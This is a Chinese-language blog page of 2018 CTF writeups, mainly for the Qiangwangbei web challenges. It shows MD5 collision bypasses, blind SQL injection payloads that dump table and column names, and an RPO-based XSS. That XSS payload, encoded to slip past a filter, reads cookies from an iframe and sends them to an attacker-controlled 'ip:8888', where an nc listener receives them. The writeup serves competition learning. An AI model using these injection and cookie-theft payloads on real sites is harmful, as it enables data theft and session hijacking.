Defcamp(DCTF) 2018-Vulture phar反序列化攻击

前言

  这是defcamp ctf 2018 vulture 的题解,使用的方法为利用phar拓展进行PHP反序列化攻击。

Defcamp(DCTF) 2018-chat Prototype pollution attack

前言

  这是Defcamp CTF 2018中的一道web题(chat)题解,在deep clone的时候使用了Prototype pollution attack,原型污染攻击的方法解题。

RCTF2018 writeup1

前言

  CTFer是不存在周末的,更不存在520….

RCTF2018 web writeup

前言

  作为web狗饱受打击的一个比赛,0解题。任重而道远!

2018 *CTF/starCTF Smart? Contract writeup

目录

前言

  这个题我一直想着复现,但也一直拖着,其中也有writeup难找的原因,那个*真是坑爹中的坑爹,直接被Google当成了通配符,好在跟大佬求了份writeup,终于可以学习学习。首先放出参加DDCTF2018颁奖的时候出题人放的解题思路:




  从这个PPT里我们也能一窥解题的思路,我们还是先从理论基础知识讲起。

2018 广东省红帽杯redhat writeup

前言

  这次省红帽杯的WEB部分大体不难(除去一道没人做出来的),但是对于比赛经验不丰富的选手来说,难点主要是在对题型的把控上,只要get到点,后面的操作基本没问题。自己从这次比赛中也学到了很多东西,任重道远啊。

2018强网杯Web部分writeup

Web

Web签到

  这道题考的是MD5绕过,一共有三关,前面两个直接使用数组绕过即可,如下:




  第三个则需要找到两个真正相同的MD5的值,代码如下:
1
2
3
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!");
}


  string将数组转换成'array'所以无法使用数组进行绕过。

  这里google了两个图片。






  我们使用python将文件读取出来并进行url编码
1
2
>>> import urllib
>>> urllib.quote(open("md5_1.jpg", "rb").read())


  然后提交即可。



  参考链接:

    Sha1碰撞

    md5相同的图片


## three hit
  这道题绕了好久,主要是思路被带偏了,实话就是自己太年轻。。。

  首先注册的时候会发现后台对usernameage都有过滤,age只允许数字。



  然后我们尝试一下16进制是否可以。我们将要注入的字符进行16进制编码一下。






  所以POC就已经出来了,而且还没有任何过滤,接着我们构造如下payload:
1
1 and ascii(substr((select flag from flag),1,1))>100


  然后逐一判断即可得到flag。这里需要注意的是我们要使用ascii作为判断条件而不要使用substr防止得到大小写不准确的flag。

### ——————————–后期复现分割线——————————–

## Python is the best language 1
  flask代码审计,在form.py的表单里只有PostForm是没有过滤的,其他表单中都存在过滤函数。



  而这个表单在/index下被引用。



  再看看Add()函数。



  现在可以确定注入点就在这里。我们试一下:
1
'|conv(hex(substr(user(),1,4)),16, 10)|'


  然后回显:



  说明确实存在注入,接着就是找表和字段,
1
2
3
'|conv(hex(substr((select table_name from information_schema.tables where table_schema=database()),1,4)),16,10)|'

'|conv(hex(substr((select column_name from information_schema.columns where table_name=0x666c616161616167 limit 0,1),1,4)),16,10)|'


  结果就是表名:flaaaaag,列名:flllllag。payload:
1
'|conv(hex(substr((select flllllag from flaaaaag),1,4)),16,10)|'


  最终flag:QWB{us1ng_val1dator_caut1ous}

## Share your mind
  这道题考察的是RPO(Relative Path Overwrite)相对路径覆盖利用,如何判断的呢:

1、路由问题






  可以看到,这里加了/aaaa它还是能正确找到这份文件,所以如果我们在这个页面中写了一些js代码,并且以js去运行解析它的话就会造成任意js代码执行。
2、页面的js文件采用相对地址引入




  注意前面的../

* 3、浏览器和服务器对%2f的定义不同

  服务器在接收到%2f的时候会把它转化成/,当作目录解析。如:
1
2
3
4
5
http://39.107.33.96:20000/index.php/view/article/1111/aaa/..%2f..%2f../
转化成:
http://39.107.33.96:20000/index.php/view/article/1111/aaa/../../../
最终:
http://39.107.33.96:20000/index.php/view/


  这里要注意的是浏览器在请求js、css文件时是以当前url的目录为基准的,然后在后面拼接js、css的地址,接着在请求该js、css。如:
1
2
3
4
5
6
7
http://39.107.33.96:20000/index.php/view/article/1111%27aaa
浏览器中的目录:
http://39.107.33.96:20000/index.php/view/article/
拼接js地址:
http://39.107.33.96:20000/index.php/view/article/../static/js/jquery.min.js
最终:
http://39.107.33.96:20000/index.php/view/static/js/jquery.min.js


  这是因为1111%27aaa被当作了一个文件,而不是你想的/1111/aaa1111是目录。

  我们首先插个弹窗,然后查看下raw






  然后我们构造如下payload:
1
http://39.107.33.96:20000/index.php/view/article/1111/aaa/..%2f..%2f../





  可以看到已经弹窗,我们再看一下网络请求。









  可以发现它把我们view raw中的代码作为js解析了。

  而经过测试,在report页面中是存在xss的。



  但这道题的点不在这,我们回到RPO的利用中来,因为过滤了<>,所以我们用eval(String.fromCharCode(xxx))来绕过,所以payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
s="""var i=document.createElement("iframe");
i.src="/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
var c=document.getElementById('a').contentWindow.document.cookie;
location.href="http://ip:8888?xx="+c;
}"""

print "eval(String.fromCharCode(",
for i in s:
print str(ord(i))+",",

print "))",


  我们把它插入到write article里,然后获取到它的url,如:



  服务器端启动监听:nc -tlp 8888

  然后提交攻击链接:
1
http://39.107.33.96:20000/index.php/view/article/1198/aaaaa/..%2f..%2f../


  接着就能在服务器上收到hint



  这里提示flag/QWB_fl4g/QWB/下的cookie中,所以我们将iframesrc=/QWB_fl4g/QWB/。代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
s="""var i=document.createElement("iframe");
i.src="/QWB_fl4g/QWB/";
i.id="a";
document.body.appendChild(i);
i.onload = function (){
var c=document.getElementById('a').contentWindow.document.cookie;
location.href="http://ip:8888?xx="+c;
}"""

print "eval(String.fromCharCode(",
for i in s:
print str(ord(i))+",",

print "))",


  跟上面同样的套路走起,最终获得flag:QWB{flag_is_f43kth4rpo}


  
  
  
  
  
  
  
  
  
  

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×